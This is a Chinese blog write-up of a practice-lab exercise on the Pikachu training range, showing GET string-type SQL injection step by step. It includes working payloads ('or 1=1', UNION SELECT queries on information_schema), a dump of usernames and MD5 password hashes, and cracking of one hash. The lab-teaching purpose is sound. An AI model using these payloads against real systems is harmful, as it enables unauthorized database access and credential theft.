Pikachu靶场:SQL-Inject之字符型注入(get)
实验环境以及工具
Firefox浏览器、Burp Suite、Pikachu靶场
实验原理
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
实验步骤
1.前期工作
先将Proxy中的intercept关闭,使其不进行拦截,让数据通过监听的端口。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VcuhQ6w0-1618973054094)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210404141348698.png)]](https://i-blog.csdnimg.cn/blog_migrate/1e3ffbf99517ba7ab12155634ab6af93.png)
2.注入点探测
在字符型注入中看到输入框,里面能够输入字符串。这里输入allen点击查询,返回了uid和email两个字段。由于是get请求所以在URL中也能看到输入的内容。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PNte900m-1618973054096)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418172039002.png)]](https://i-blog.csdnimg.cn/blog_migrate/1837f9dd637209a084ad800e14ab2232.png)
那么就以这个输入框作为注入点。
3.进行注入
在注入点使用 order by进行字段数的测试,由于上面已经返回了两个字段,这里进行三字段的测试。
输入payload为 allen' order by 3 #
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a1Wf7h0o-1618973054097)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418172431305.png)]](https://i-blog.csdnimg.cn/blog_migrate/cea038e687abcdb97bf54a1902e1557a.png)
返回错误,证明只有两个字段。
假设这个地方使用的SQL语句是 select 人名 邮箱 from 用户表 where name = 'allen’
那么我们尝试让它将用户表所有人的信息查询出来,在后面加上 or 1=1,这样判断条件变成了永真,
然后加上 # 将后面的内容注释掉,返回所有查询结果。
输入payload为 x' or 1=1#
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HAZjhPRy-1618973054100)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418172651963.png)]](https://i-blog.csdnimg.cn/blog_migrate/cf657eac4a533e4d98a3c9e18eb59cf9.png)
成功返回所有人信息。
4.利用union查询获取数据库信息
使用 union select database(),user() 爆破当前的数据名和当前的用户
输入payload为 x' union select database(),user() #
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oZQfadyD-1618973054101)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418172813844.png)]](https://i-blog.csdnimg.cn/blog_migrate/f2eb7141a2a8236c7a8e2485d48eabe0.png)
成功获取数据库名称为pikachu,当前用户为root@localhost
利用查出来的数据库名称pikachu构建payload为 x' union select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' # 来查询数据库中的表名。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5NJYEPi8-1618973054102)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418173149743.png)]](https://i-blog.csdnimg.cn/blog_migrate/c070737dec45a6544550cdbb7876d764.png)
发现了其中的表名:httpinfo member message users xssblind
利用之前查出来的数据库名称pikachu、用户表名 users构建payload 为 x' union select TABLE_NAME,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' # 查询表中的列名
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ll7cWZTp-1618973054103)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418173454357.png)]](https://i-blog.csdnimg.cn/blog_migrate/62416694e64940b92442a93953eee26e.png)
获取到用户表users中的列名为id、username、password、level
由于联合查询要求前后两个SQL语句的列名数要一致,所以这里只能用两个列名进行查询。故使用
x' union select username,password from users # 查询users表中的用户名和密码字段。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gqMQ2XLL-1618973054104)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210418173614328.png)]](https://i-blog.csdnimg.cn/blog_migrate/3116a8e86405ee88aa819064f99ccef7.png)
整理用户名和密码
用户名 admin
密码 e10adc3949ba59abbe56e057f20f883e
用户名 pikachu
密码 670b14728ad9902aecba32e22fa4f6bd
用户名 test
密码 e99a18c428cb38d5f260853678922e03
5.利用hash-identifier和在线哈希破解网站破解密码
使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UsXjj8xY-1618973054104)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210414161200492.png)]](https://i-blog.csdnimg.cn/blog_migrate/984264afe35f552abd6a8cbdf45b6d8b.png)
类型为MD5
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c0poh9bP-1618973054106)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210414162237605.png)]](https://i-blog.csdnimg.cn/blog_migrate/5939e053ae84603e76f68fb121070397.png)
在MD5解密网站解密得到密文000000
总结
进行SQL注入漏洞测试,首先进行注入点的探测,利用 order by 试探出查询语句所用的列名个数之后,进行简单注入测试检验漏洞。若漏洞可以利用,则使用联合查询来进行数据库内容的爆破,获取数据库名、表名和列名。然后进一步获取其中的用户名密码。
,利用 order by 试探出查询语句所用的列名个数之后,进行简单注入测试检验漏洞。若漏洞可以利用,则使用联合查询来进行数据库内容的爆破,获取数据库名、表名和列名。然后进一步获取其中的用户名密码。
本文详细介绍如何在Pikachu靶场环境中进行SQL注入攻击演练,包括注入点探测、字段数测试、联合查询爆破数据库信息及密码破解等步骤。
3987

被折叠的 条评论
为什么被折叠?



